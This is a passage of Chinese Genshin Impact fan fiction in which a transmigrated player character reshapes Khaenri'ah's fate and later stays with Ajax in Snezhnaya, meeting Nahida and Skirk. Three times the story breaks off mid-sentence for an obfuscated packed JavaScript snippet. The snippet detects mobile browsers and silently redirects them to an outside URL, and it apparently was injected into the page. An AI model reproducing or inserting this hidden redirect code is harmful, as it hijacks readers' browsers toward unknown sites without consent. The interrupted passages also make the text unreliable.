或许是玩家在坎瑞亚建国时期就住在这里,经历了赤月王朝的兴起,等到了黑日王朝末代帝王的降临,途中一直有坎瑞亚人借玩家来观测深渊的能量波动,且百战不殆。 眼前的伊尔明不满足于观测。 玩家感到头疼:“不要叫我贤者。”他意识到这又是一个命运的闭环,所以忍不住做最可能打破闭环的坏事。 可惜在反主降临前杀死黑王也不能阻止命运成为一个圆圈。 伊尔明已死。 玩家被坎瑞亚举国通缉。 追兵一一失去行动力。 异世界的勇者受邀,提剑站在玩家面前。 玩家看着双生子的脸,大脑在这一瞬间停止运转。 玩家叫出了主角荧与反主空的名字,剑尖止于心脏之前。 荧把玩家打包带上飞船,空留下因提瓦特花作为坎瑞亚的祝福。 “你是我们在哪个星球认识的朋友吗?” 荧好奇地摸摸玩家:“不小心从宇宙落到提瓦特,然后和深渊混在一起了?” “飞船上有净化装置。”空温和地说道,“我们会把你恢复成原本的样子。” 玩家有很多话想说,可惜他就和被诅咒成丘丘人的坎瑞亚人一样失去了和正常人沟通的能力,如今身体成为黑泥的他无法倾诉。 能在生死关头让空与荧停手,似乎也不是因为他叫出了他们的名字,而是因为兄妹俩察觉到他有难言之隐。 “放轻松。”空正在校准设备,“可能会有点痛,但是睡醒之后,你就可以回家了。” 其实一点痛也没有。 玩家闭上眼睛之后又睡着了,等醒来看到的就是眼前一张比一张凝重的脸。 “恢复了。”玩家坐起来,低头看了看张开的五指,摸了摸自己的脸,然后看向对面的玻璃反光,那里映出玩家和空一模一样的脸。 “抱歉……”空很尴尬,“飞船程序出现了一些问题,我没能将你和深渊分开,而且不小心把我的数据模板套到你身上了。” “什么不小心。”荧托着腮帮,“要我说,是你体内的病毒让我们的程序生了病才会出现这样的情况。我哥哥的脸出现在你身上真别扭。” “抱歉。”玩家说道,“没有程序故障,也希望我没有作为病毒伤害你们的人工智能伙伴。我在提瓦特就是这张脸。” 玩家说,他来自空荧的世界之外,作为玩家操纵主角在提瓦特冒险。 他降生在这里用的便是主角——也就是空的脸。因为剧情里空会被坎瑞亚的黑王捕获,而玩家厌恶重蹈覆辙的剧情。 玩家让黑王永久沉睡,双子也没有按原剧情被捕获其一。 “很精彩的故事。”空很给面子地捧场。 就跟人走在路上忽然被人告知如果不是我你会死在这条路上一样精彩。 “你好好休息。”荧揉了揉玩家的脑袋,“还能记起来你生活的世界长什么样吗?” 完全被视作深渊污染后的意识混乱了。 他们不信。 玩家据理力争,失败。 玩家住进了空和荧在飞船里为他制作的电竞房,大失败。 玩家坐在电脑屏幕前玩游戏,恍惚间以为自己根本没有猝死、没有穿越,只是游戏打多了,做了一场春秋大梦。 玩家被发尾缠绕的荆棘刺到手指。 黑掉的屏幕映出玩家和空一模一样的脸。 玩家嗖地从位置上站起来。 才不是梦。 “很遗憾,我们并没有在宇宙里搜索到你描述的地球……” “真奇怪,怎么测你都是提瓦特人,我和哥哥已经重新调整了航线——” “怎么回事?飞船故障……做好准备,我们必须迫降……” “——你说的没错,这个世界对我们满怀恶意,对你也是。” 玩家重新降落提瓦特。 他身上的深渊仍未被彻底根除,甚至成为污染空荧飞船程序的推手,导致飞船在提瓦特迫降,双子与天理爆发大战,最后关头荧将自己的哥哥推向了玩家的方向。 玩家扶住空,站稳在坎瑞亚的国土上。 坎瑞亚回应了玩家的召唤。 因为此时提瓦特唯有坎瑞亚亲近深渊。 黑王看向他们的目光狂热。 玩家看着那张和伊尔明酷似却不同的脸。 玩家之前认错人了? 眼前的黑王才是真正的黑王,玩家之前认识的伊尔明,只是碰巧与黑王同名? ……是了。 玩家没有在坎瑞亚宅上几千年。 玩家只是被命运做局,恰好遇上了与黑王关系匪浅又对玩家满怀恶劣期待的另一个伊尔明,错把他当成黑王又杀死了他。 是玩家杀死了疑似黑王先祖的伊尔明,促就了黑王对深渊的执念。 也促就了本该离开提瓦特的双生子重返提瓦特,如今失忆的空站在他身边,因为两人近乎一致的面容而对玩家过分亲近。 ……玩家再一次杀死了黑王。 玩家带上空找荧。 玩家找到了昏睡的荧。 玩家发现飞船的治疗室也报废了。 天理与四大执政的降临让他们无路可退。 空被剥离降临者神格。 荧即将投入提瓦特的轮回。 玩家咬了天理。 玩家把神格叼走,咽下,于是空的命途暂时由他接管——玩家会在空离开时将力量归还,现在,神明看不见空。 玩家活学活用把自己的命格割裂——他来自更高维度,这过去对他而言已无意义,但给予荧作为馈赠,她能安睡。 唯有旅者自身能决定他们本人的命运起点与终点。 “就算有其他的书写者。”玩家仰头看着天理,“那也只能是我。” 他仍然不清楚自己抵达这个世界的契机。 似乎也不是天理所为——这个在玩家眼中被视作命运代行者的至高存在。 但不重要了。 他喜欢一切悲剧都是戏剧。 他入目所及的现实,合该只有一片欢愉。 玩家没打过天理。 但天理很好吃。 以及托温迪的福,时之执政偷偷捞了他一把,最终玩家没死,还成功带着空与荧回到了坎瑞亚。 空荧需要疗伤。 玩家用外星科技作为诱饵,找坎瑞亚帮忙修复飞船,帮双子治疗身体。 他挑的合作对象有心眼又有实力,所以也不必担心他们会被他牵累。 他们心甘情愿。 “深秘院很舒适。”玩家对提供了研究场所和居住地的「贤者」海洛塔帝表达感恩。 “我的故事可以成为预言。”「预言家」维瑟弗尼尔的双眼是他过度窥视不该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090609|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窥视之物而瞎掉的,不能说玩家怂恿,“你能预见我的终点吗?” “是的,我和魔龙杜林、厄里那斯和黄金王兽一样。是外来灵魂纳入深渊的创造思路。但我能压制深渊。”玩家将「黄金」莱茵多特的手搭上自己心胸,“要尝试解开这个谜题吗?” “吞星之鲸本该属于你……丝柯克和达达利亚也是。”玩家正在和「极恶骑」苏尔特洛奇学习完成自我,喂招过程中玩家记起飞船路过的某个星球,那是原作里苏尔特洛奇唯一弟子和达达利亚唯一师父丝柯克的星球,“都是我的了。” “……离我远点,让索琳蒂丝也离我远点,我没有当新王的志向,撤销赤月后裔的追杀令是正常同理心。”玩家躲着「猎月人」雷利尔走,他真受不了这毕恭毕敬的公务员。 但玩家更受不了上述的五大罪人早有谋反之心。玩家杀死了黑王,但普通民众无人知道黑王已死,上位者瞒住了这件事,还诚邀玩家坐上那个位置。 明知道以玩家的性子,就算当帝王,也是甩手掌柜。 话又说回来这样的玩家确实很适合做傀儡。玩家真和坎瑞亚的命运深度绑定,也才能说服某些人更卖力地为玩家做事。 “你开始舍不得坎瑞亚了。”空这样说道。 “只是为注定陨落的坎瑞亚而惋惜。”玩家摇头,随即若有所思,“不过按照这样的发展,怎么衔接上原本的命运?” 黑王提前死去。 空不可能被做成容器。 罪人们不能瓜分力量。 坎瑞亚不会招致神罚。 所以—— “嗨,伙伴,你什么时候回坎瑞亚了,怎么不跟我说一声?”容貌与千年前一般无二的战士以一种崭新的身份向玩家微笑。 “芙宁娜那孩子已经回到了她原本的时代,”厄歌莉娅目光柔和,“容我感谢你将枫丹引向了另一个可能。” “嗨,我是今日风神艾莉丝,你一定听说过我的大名——尊敬的巴巴托斯大人在冬眠,要不要一起回蒙德叫他起床?”魔女小姐抬高帽檐,丢抛着呲呲冒火花的可疑物品。 “许久不见……嗯,这也是我们的第一次见面。”雷电真带来了一些可口海产品作为拜访的礼物,“未来还需要麻烦您多照顾我家孩子。” “纳西妲也拜托你们了。”大慈树王温柔地注视着犹如镜面的玩家和反主,“很遗憾,我不能陪着她长大……” “我会提前让纳塔做好备战深渊的准备,也希望能从源头上解决问题。”纳塔的神明玛薇卡把手搭在玩家的肩膀上,“现在我们有很充足的时间讨论深渊敌人的弱点。” “这次七神聚会的地址在坎瑞亚。”岩神摩拉克斯平静地坐在位置上喝茶,视线在年轻的新生代神明身上掠过,很认真地说他也该考虑找个时间退休了。 很难形容玩家在那一刻的心情。 但当空拍着玩家的肩膀、欣慰说真高兴他有这么多朋友的时候,玩家扭过头。 “其实很多不是朋友。” 他们才第一次见面。 “但我们可以是朋友。” 感恩他们的不请自来。 玩家真的可以尝试书写剧本。 如果命运无法更改,那这幕剧目该有一个新的终点——杀青梗。 为了没有眼泪的明天。 …… 混沌的深渊如镜面倒映出玩家的未来。 从诞生之初,再到降临此刻,再到游走于时间间隙,得以嘲弄命运。 伊尔明止步于玩家的小院。 第一次他死在这里。 第二次玩家被召唤到这里,他又死在这里,可惜玩家大概是对这个地方没印象了。 “尽情沉溺于一切不真实之物,你高于这个世界,比双子更适合做僭越之徒。” 深渊吞噬了伊尔明。 独眼的召唤者转身,期待作为玩家的高维生命,给提瓦特增添深渊和高天都扭转不了的命运变数。 ——毕竟是他选中的愚者。 18.018 玩家打了个喷嚏。 “不,没有很冷。”玩家说道,他正处于至冬的宫殿,室内很温暖,“有人在念叨我。” 他往嘴里塞了烤肉。 玩家最近认识的人太多,念叨玩家的人数不过来,但能让玩家感应到,一定是非常喜欢玩家吧。 没想到玩家有一天真的能在提瓦特变得这么受欢迎。 以及—— “没想到你坐上了这个位置。”玩家说道,“恭喜。” 玩家的对面坐着达达利亚。 听到这话他先是一愣,然后忍俊不禁:“不,我不是这一代的冰神……” “你做过神。你有过魔神名。七神聚会至冬女皇还允许你代班。”玩家觉得他的说辞并没有什么错误。 眼前之人不是尘世执政之一,不是因为他没有能力在至冬登顶,只是因为神位对他而言,是枷锁大于荣耀。 神明的责任与统治会束缚达达利亚对自由战斗的追求,而冰之女皇安娜斯塔夏拥有的政治手腕和战略思维,让她比眼前的战士更适合作为这片土地的统治者。 但就算现在的冰神是冰之女皇,也不能否认达达利亚在至冬特殊的地位。 毕竟他代过神明的班。还是过了天空岛明面的那种正规上岗。 毕竟无论是一代冰神白沙皇,还是二代冰神至冬女皇,都对他青睐有加,尤其是这两代冰神之间的关系还不怎么好的情况下。 达达利亚顺理成章把自己活成了传说。 如今的他确实没有神位,但是说他是至冬另一位冰神也不为过。 “一个国家两个主人可是会出大乱子的。” 达达利亚端起一盘新的烤肉朝着玩家的方向推过去:“不过当时也没有别的位置可以给我做,而且……” 达达利亚冲着玩家笑了笑:“坐得越高,得到你消息的可能性才越大。” 玩家把刀叉当签子举起了烤肉,腮帮子一鼓一鼓,说出的话含糊不清:“那你很倒霉了。在退位之后才找到我。” 达达利亚用着抱怨的口吻:“是啊。整整768835天。你都不知道我怎么过来的。” 玩家说没必要精准到天数。说年份就好。这个天数兑换过来的年份数量同样非常可观,而且比天数的庞大数字更让人有实感。 “好吧,是两千一百多年。”达达利亚耸了耸肩,“伙伴,你不知道这个数字有多漫长……刚回坎瑞亚没找到你,我着急得都快把整个坎瑞亚翻一遍了;十年过去我在想你肯定不在提瓦特;五十年过去我挺担心我活不到你回来;现在我真高兴能见到你。” “我也是。”玩家认真点头,“真高兴这么多年过去你对我的态度一直没有变,第一个来坎瑞亚找我,还邀请我来你的宫殿做客。” 酒足饭饱后玩家拆下手套:“我还需要在你这里住一段时间。” 坎瑞亚的剧情在不久前落幕。 玩家临时替补了黑王的剧情,他将整个坎瑞亚的命运都藏进虚假,也明白了为何之前自己奔赴须弥花海与地下古国,未曾与任何一个在执的神明见面。 这个时间段的自己领取了与他们相处的戏份,而世界难以同时容纳同一个人的不同时间,所以规则避开了他们的相遇。 反主的情况类似。空之所以说现在不是他们见面的时候,是因为那时候过多的沟通会影响他们真正的初次见面。 而且,此时的空已经恢复全部记忆,他说他的神格还在玩家身上,他和玩家久待会导致神格归位,对命运的欺瞒失效,所以玩家不能和他久待。 “你去哪里?坎瑞亚一直存在。你不需要复国。你都不需要和戴因旅行。你要带着皮耶罗去哪里?” “调查坎瑞亚宫廷秘事。” “?” “嗯……在深秘院翻到一些古籍,里面有些记录让我很在意,你替我背负了坎瑞亚的责任,我也想帮你找到身世之谜的答案。” “我的来历不重要,但我也很好奇我在这个世界的定位。” “得到答案之后我会回来找你的……当然,荧还在飞船里面休眠,就算没有答案,我也会定期回来的。照顾好我妹妹,也照顾好你自己。” 玩家本来是打算直接在飞船上安家住下的,但空表示他并不放心玩家一个人居住,更不希望荧醒来第一个看到的人是顶着他神格和脸的玩家,让玩家要蜗居也换一个地方窝着。 玩家遗憾地打消了使用飞船电竞房打发时间的想法。他本来也想要继续闲逛,可一个人旅行比较没劲,这时候达达利亚邀约,玩家想都没想就跟着过来了。 说起来达达利亚也是玩家在这个世界第一个看到的活人。 和玩家记忆里的达达利亚已经差别很大了,所以更有和活人相处的感觉。 “我之后怎么称呼你?”玩家歪头,“你在这个世界不是女皇麾下的公子,是和安娜斯塔夏并肩作战的挚友,你从来没有被授予达达利亚这个名字。” “一开始就不可能被授予。你认识的达达利亚在几百年后才出生呢。” “嗯?”玩家看着达达利亚,“你可以等到那时候对你父亲说其实你的儿子也是你的祖宗。” “你还是和以前一样有趣。”达达利亚擦去笑出的眼泪,脸上的愉悦许久未褪色,又慢悠悠带上了捉摸不透的微妙色彩,“不过怎么称呼这个问题,应该是我问才对吧。” “空不是那位旅行者的名字吗?”达达利亚好整以暇地看着玩家,“我就不计较我一开始就自我介绍我叫阿贾克斯你还一直叫我达达利亚这件事了,你到现在都没告诉我你的名字,是不是太过分了?” 玩家想,这怎么能怪他。 穿越到游戏里,穿越的神明自动把玩家的名字给屏蔽了呗。 玩家如今残存的前世记忆只有窝在电竞房里打原神的快乐。 “记不清了。”玩家实话实说,“就叫空吧。总得允许这个世界上有同名同姓的人存在。空也同意了。荧揍我一顿这事也过去了。那时候我就用荧给我取的新名字吧。” 于是玩家继续被称呼空,玩家改口叫达达利亚阿贾克斯。 玩家的旅行暂停,他在至冬暂居,吃喝玩乐了一段时间,玩家摸去飞船看望了荧,然后去电竞房转了一圈。 玩家把电竞房搬回了至冬。 “等等,你这是?”阿贾克斯倚靠在门边,好奇地注视着玩家爬上爬下忙里忙外。 “拉网线,打游戏。”玩家说道,“我需要一些有益身心健康的娱乐活动。” “嗯……所以是做好了长期留在这里的准备。”阿贾克斯调侃,“布置新房?” “也可以这么说。”玩家在椅子上转了一百八十度正对屏幕,“不过,现在就算是我想要在一个地方久待,也总会有各种意外把我送到新的时空。” 他摸索了下环境,扭头看向阿贾克斯:“这里缺点肉干。” “没问题,我去给你准备。”阿贾克斯站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102349|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直身体,转身时手中已握了弓箭,“再备点水?或者你有什么钟意的饮品?” “至冬的火水?” “哈哈,这确实是很难不让人钟意的饮品,喏,酒窖的钥匙,想喝什么就去楼下转转。” 玩家满意将钥匙收进了口袋。 房间很快备上他偏爱的食物,门被悄无声息带上,玩家陷在座椅里,屏幕显示出熟悉的游戏界面。 成功达成在原神世界里面玩原神的成就。 “像模像样。”玩家点评。 早在双子为他搭建了一个与现实一模一样的电竞房的时候,玩家就期待着把游戏也复刻出来了。 一模一样做不到。 玩家对游戏的记忆已经模糊。 不过在飞船科技的辅助下,做出一个服务于玩家的新提瓦特游戏,还是非常容易的。 “接下来考虑如何把它随身携带……”玩家翻看笔记,他需要继续完善这个游戏,利用智能工具帮他来记住他所经历的剧情以及他认识的种种剧情人物。 现在的时代背景可不允许玩家像玩游戏一样走马观花只管自己愉快。 别的不说。 玩家必须花时间适应身边朋友的各种新身份。而让他最快适应的办法,就是用游戏重演合理剧情,让玩家得以代入然后接受提瓦特的新设定。 “其他的还好说……”玩家戳着屏幕,“蒙德怎么回事,温迪在干什么?魔女会轮岗担任风神,真亏他想得出来!” 这种神位更迭都不能说是自由,完全是闹着玩了! 即使玩家根据历史剧情改编的游戏重新经历了一遍大事件,也难以摆脱那种不真实感。 璃月的剧情倒是和原著没什么大差别,只是岩神提前了五百年退休而已。 只是玩家打太久游戏、被阿贾克斯带去野外放风的时候,看到某个化名为钟离的摩拉克斯在至冬境内悠闲钓鱼而已。 稻妻——玩家对此世的雷电国崩能登上将军的位置早就做好了心理准备,所以即使这个世界的稻妻和原作里的稻妻相比也是天翻地覆,但玩家接受良好。 国崩还真的很有礼貌地在他御前决斗那天邀请玩家去稻妻见证历史。 玩家去了,然后一脸懵地带着二代雷神巴尔泽布也就是雷电影回至冬了。 “……国崩说让影来至冬上学,有空跟我打游戏。”在阿贾克斯问起来的时候,玩家还刚好带着雷电影在玩《稻妻模拟器》。 这款游戏有助于玩家了解稻妻的主线与支线,有助于雷电影深入体恤民情。正好他们都属于比较宅的类型,安安静静的时候谁也不打扰谁。 至于来至冬上学——也不可能真的像原剧情的国崩成为须弥教令院学生那样的上学,国崩的意思是雷电影跟至冬女皇探讨下治国理念,学习下政治手腕。 然后搞清楚为什么国崩的御前决斗没赢却能继任将军。 “一个值得深入研究的课题。”虽然这么说不太好,但玩家对这对母子之间的针锋相对表示喜闻乐见。 以及不得不提原作中与国崩关系匪浅的须弥……原作里国崩于此成神,被主角打败,一系列事件后成为兼职须弥高端战力的教令院学者,如今的须弥不可能再等来他的加入,不过高端战力方面,也不用太担心。 因为挪德莱卡的月之少女库塔尔常去纳西妲所在的净善宫做客,教令院名为赞迪克的年轻学者在极短时间内成就大贤者。 须弥堪称三月同辉。 19.019 三月在提瓦特是很微妙的概念。 提瓦特被龙族统治时期,三月女神的位阶等同如今的七神。 而须弥本来就有一个神。 如今又多了库塔尔和赞迪克这两位常驻嘉宾。 这两位在原著中,一个是集齐三月之力重获新生的新三月女神,一个是险些成功攫取三月权柄以凡人之躯登顶神位的赝月。 纵然在这个时代,他们并未到达巅峰状态,一个是懵懂的月之少女,一个是年轻的凡人学者,但…… 原作中这个时间点库塔尔已经是愚人众第三席执行官哥伦比娅,赞迪克已经是愚人众第二席执行官多托雷。 从这个角度去解读库塔尔和赞迪克久居须弥的现状,情况比蒙德的剧情发展还要让人细思极恐。 玩家就是在这种情况下,瞧见了出现在至冬的纳西妲。 “你也是来至冬上学的吗?” “嗯?不是哦,是空帮助了我的眷属,所以我来特意感谢你。” “那应该是另一个空。”玩家说这段时间他基本没有离开至冬,即使有心,也没办法对须弥的兰那罗伸出援手,“我会认真传达你的谢意。” “除此之外?”玩家询问。 “她会留下。”库塔尔轻飘飘落在玩家身边,“我过段时间来接她,赞迪克要测试新的世界树是否可以被规则接纳。” “……”玩家开始绕着库塔尔转圈。 “我没有被深渊污染。”库塔尔给玩家撒了一把枣椰蜜糖,“我不好吃。挪德莱卡的住民可以证明。” “喔。”玩家看向纳西妲。 “纳西妲也没有生病,也不好吃。”小草神认真地在胸前比了叉,“制造虚假的世界树是我的提议,没有第一时间说出来,就是担心吓到你。” “他没有被吓到,只是开胃了。”库塔尔捧着枣椰蜜糖嚼嚼嚼。 “我没有开胃。”玩家也站在库塔尔身边嚼嚼嚼,“我真被吓到了。” 赞迪克可是大反派博士。剧情里在须弥制造新神妄图取代小草神,在挪德莱卡妄图自己登神取代三月女神。 纳西妲身为草神却背井离乡要为赞迪克那什么世界树的测试让步,库塔尔还是帮手,玩家一开始会往纳西妲和库塔尔中深渊病毒的方向想,再正常不过。 “为何要制造虚假世界树?”玩家开始扒拉自己的系统记录这个重要节点。 “欺骗世界。”纳西妲展开手,稚嫩的新芽在她体内若隐若现,“藏起一棵树最好的办法,是将祂匿于森林。” 世界树容易被深渊侵蚀,也是高天控制须弥神明的武器。 大慈树王为拯救而选择牺牲。 纳西妲不打算让悲剧重演。 她握紧手心,以孩童的面貌仰头与玩家对视,如众生见神: “我赠予他栽种世界的可能性,要他制造无数世界树的虚影,欺骗命运,欺骗高天,让深渊与神凡在内的所有神灵,无法窥视世界本真。” “有人藏起,也一定有人能找到。”玩家说道,“我也不太理解为什么你们对天空岛的敌意这么明显。” 玩家对天理和四执政没什么好感,但这个问题他很早就想要问了。从七神默契集结于坎瑞亚的时候。 “这个世界不存在真正意义上的世界树。”纳西妲的眼睛弯成好看的月牙儿,“只有通过我才能找到祂,而当我断开和祂的链接、抹去我的存在之后,没有人能找到我、找到世界树。” 玩家又紧张起来。 纳西妲安抚地握住了玩家的手:“抹去存在并不是让我消失,我只是做了和其他神明一样的选择罢了。” 神位仍属于天空岛选择的命定之人。 正如蒙德风神轮岗,也影响不了巴巴托斯是唯一的风神。 正如璃月岩神退休,也改变不了他是璃月人此生不变的信仰。 正如稻妻雷神换届,也消除不了雷电影鸣神永恒的尊位。 可如今神明能将自己摘出神位,以另一种视角去看待神、看待原本属于神的国度。 ——尘世执政已经这样做了。 枫丹是没了神位,可最该站于高位的芙卡洛斯和那维莱特,都退居幕后,将神明之名赋予木偶。 纳塔更是早在一开始就立下了人人都能成为火神的优良传统。 至于至冬。冰之女皇在最高统治者专属的宫殿为阿贾克斯留有位置,也并不介意阿贾克斯比她有过之而无不及的名望,某种程度上,阿贾克斯不是另一位冰神,而是至冬唯一的神。 神的命运被不可能成神之人混淆。 命运被干扰得一塌糊涂。 可本来这个世界就不该存在既定的命运。任何人的未来,都该是不可预估的未知数。天理爱众生,爱人,却为何又要规定众生皆苦,人不可亵渎高天权威? 这些话可以解答为何此世之中神与执行官命运交错的问题。 玩家其实没想到这也是个可以被解答的问题,纳西妲顺口解释了这些,铺垫好了基础,又重复了这个世界上没有真正的世界树那句话。 其实这个世界都是假的。纳西妲这样说道。所以他们这些尘世执政,才有如此胆量去挑战天理权威,去走现实中绝无可能选择的叛逆之路。 “提瓦特是一场巨大的花神诞祭。”纳西妲让玩家取下了他最近制作的游戏系统,说她会把这个改成更轻便的饰品让玩家随身携带,“记录此刻与我们的相遇,直至你回归真正的现实。” 玩家捏了捏掌心。 话太多,太谜语,记不住。 “总之你要在这里住一段时间。”玩家抓住关键词,“我让阿贾克斯帮你安排房间……你要住芙宁娜隔壁吗?她前不久也来了。” 纳西妲欣然同意。 走之前库塔尔把纳西妲抱起来,再要了一些纳西妲亲手制作的枣椰蜜糖。 “会和兰那罗一起分享吗?” “会。”库塔尔斩钉截铁点头。 “好,乖孩子。”纳西妲摸摸库塔尔的软发,微笑着将双倍分量的糖果递给库塔尔,“我不在须弥的时候,记得按时休息,不要熬夜和兰那罗唱歌比赛。” “好。”乖巧的库塔尔重重点头,然而轻飘飘地飞走了。 纳西妲看向玩家。 玩家点头,转身,说他也要去休息了,然后被纳西妲拽住,说不可以,要把刚才的信息梳理好了,才能去休息。 “现在是下午两点。”纳西妲保持微笑,“你哥哥让我盯着你不要三点睡十点起沉迷游戏。” “……空不是我哥哥,而且我没有沉迷游戏,我在干正事。”玩家辩解。玩家可能发现了纳西妲之前提及反主的原因。 “嗯,我知道,你是很努力的孩子。”纳西妲拍拍玩家的手,“但你对游戏的理解还不够。仅仅是沉迷,远远不能满足你想要改变提瓦特的愿望。我会帮助你,更好、更透彻地了解这个世界。” 于是玩家认领到一份为自己量身定做的学习计划。 他佩戴上结合虚空终端技术改良的游戏系统,在至冬宫殿的书房勤勤恳恳抱着资料学习。 玩家找回了当初上学时的感觉。 很怀念。而且一想到自己住在至冬女皇的宫殿里被小草神亲自教导,身边还有对学习内容更苦手的影作为学习搭子,玩家觉得上学都不是那么煎熬了。 放学后还能去找玛薇卡骑摩托、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111330|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去找芙宁娜喝下午茶、去围观摩拉克斯钓鱼巴巴托斯炸鱼,这日子不是过得比天理还美滋滋? ——美好时光是不长久的。 “嗨,伙伴。”阿贾克斯拉开了书房的大门,表情微妙,“有件事可能需要你帮忙处理下……” 玩家察觉到阿贾克斯身上极强的深渊波动。 “我触碰到了第四面墙。”阿贾克斯说道,“用你的术语来解释,应该是这么说的……总之我深入深渊找到了边界,边界之外是现实世界。” 玩家把手搭在阿贾克斯身上尽可能吸收那些累赘的污浊,他消化着阿贾克斯的话。 纳西妲给他补课之后,玩家已经意识到这个世界具备不真实的特性,但他对这个不真实的定义还没有一个清晰的概念,直到阿贾克斯说边界之外的现实,就是玩家熟悉的正常剧情。 “正常剧情。”玩家重复了这个名词,“你是达达利亚的正常剧情?” “你怎么还惦记着这个名字。”阿贾克斯撇嘴,“那么你要过去见见那里的达达利亚吗?” “这就是我说要找你帮忙的事情。”阿贾克斯说道,“你的命格高于这个世界,也高于对面的现实世界,你比我们更容易打破第四面墙。” “我带你过去。”阿贾克斯把玩家从椅子上拉起来,“苏尔特洛奇在那里等着我们,有他在我不至于找错方向,但让他在深渊深处等太久,我就找不到他了。” 玩家跟着阿贾克斯下深渊。 他很久没有近距离接触过这些魔物,如今是阿贾克斯站在不远处看他上手,等玩家找回战斗的感觉,他们便不断加速直至抵达极恶骑的所在地。 苏尔特洛奇也是玩家许久不见的故人。 他和原剧情一样离开提瓦特探索星海,也和不间断出入深渊的阿贾克斯一样,要找到更高的境界,这境界如今具象化为第四面墙,阿贾克斯率先触碰到,但也只有极恶骑能保持纯粹地守在这里。 玩家来的时候极恶骑还在战斗,尖锐的锋芒在玩家出现的时候精准索敌他,等一切平静下来,已经是三人混战后在时刻翻涌着邪祟的深渊清出三分钟安全区的时候。 “现在可不是尽兴的时候。”阿贾克斯将枪横在极恶骑胸前,“虽然和伙伴打架是很痛快,但等他回来换一个地方切磋吧。” “吃了我,把我藏在你的身体里一起带过去。”极恶骑指向前方,他看看高维度的自己,有没有让他超越的资格。 “喂,当初我们说好的可不是这样。”阿贾克斯勒住极恶骑的肩膀,“他身上的深渊气息本来就够惹眼了,你是想要让他一过去就被天理盯上吗?” “慢慢来。”阿贾克斯说道,“你让他先把对面的苏尔特洛奇抓过来然后换你去对面遨游星海。” 极恶骑眼神炯炯看着玩家。 玩家思考:“如果能抓对面的人来这个世界观影的话,第一个人选怎么也不可能是你。” “所以吃——” “糟糕,魔物重新涌上来了。”阿贾克斯调转方向的长枪把玩家和极恶骑隔开,他向前迎战新敌的同时,揪住玩家往后一丢,“伙伴,新世界再见!” 玩家跌入破碎虚空。 嗯……虽然阿贾克斯没有拜丝柯克为师,但这个丢东西的手法,和丝柯克如出一辙呢。 玩家在地上滚了几圈。 玩家支起身子,剑尖落在了他的鼻尖。 玩家抬头,瞧见了拿剑指着他的【丝柯克】。 以及【丝柯克】背后警惕持剑的【荧】以及白色飞行物,因为视角很好的缘故,玩家还可以清晰看到【荧】由警惕变得错愕然后双眼翻滚怒火的脸。 一个糟糕的开场。 20.020 玩家很自然地被当作了深渊魔物幻化的冒牌货。 【荧】的杀意来得快又尖锐,原本剑指玩家咽喉的人是【丝柯克】,眨眼之间要割下玩家首级的人却是【荧】。 是真的没有解释时间。 玩家本来打算靠近白色向导【派蒙】让【荧】冷静,纵使这也可能是一步臭棋,好在事态总有回旋余地。 【丝柯克】的枪尖调转隔开了玩家与【荧】,拎着玩家直接斗转星移。 “这不是我的世界。”丝柯克平铺直叙。 “……你是谁?” 玩家确认了眼前的丝柯克是他在和双子一起飞船旅行时遇见的丝柯克。 两个平行世界的丝柯克灵魂互换了? “另一个我的虚界力击中了你。”丝柯克看着自己张开的手掌。虚界力就是他们通俗意义上的深渊之力。 丝柯克的虚界力打入了玩家体内,激活玩家身上存在的特殊机制,于是在陌生地域醒来的丝柯克,第一时间带走玩家寻求解释。 “感谢,你避免我和荧继续战斗。”玩家按压太阳穴,“但要对她解释的东西更多了。” 丝柯克当时的行径在【荧】看来,就是队友打着打着忽然带着敌人消失。 【荧】要么觉得敌人把队友传送走,要么觉得敌人把队友洗脑成同谋。 对于玩家而言这两种推论都不是好事。 “你来之前在做什么?”玩家放下手,说他会去找【荧】说清楚,之后的事情不用丝柯克操心,现在玩家准备先解决丝柯克身上的问题。 “星际旅行告一段落,和族人一起享用篝火宴会。”丝柯克说道,“希望另一个我不要吓到他们……” 她瞥向玩家。因为玩家携双子赶跑那些不怀好意的外星来客之后,也曾告诉丝柯克原本的命运是家破人亡,随极恶骑在宇宙间上演征服行。 “没关系。你都能那么快反应过来你换了一个世界。她也不可能认不出来那是另一个世界她幸存的血亲。” 玩家更好奇她们什么时候能换回来。 如果丝柯克刚才的叙述成立,那么—— “如果你急着回去见家人。”玩家指着自己,“再砍我一剑?”再次互换就等于他们的灵魂归位。 丝柯克照做。 成功换回。 而重新睁眼的、属于本世界的【丝柯克】,看向玩家的视线也不是最初那样的森冷寒霜。 “太好了,你换回来了。”玩家站起身,“现在我可以带你去找荧解释了。” 【丝柯克】坐在原地没动。 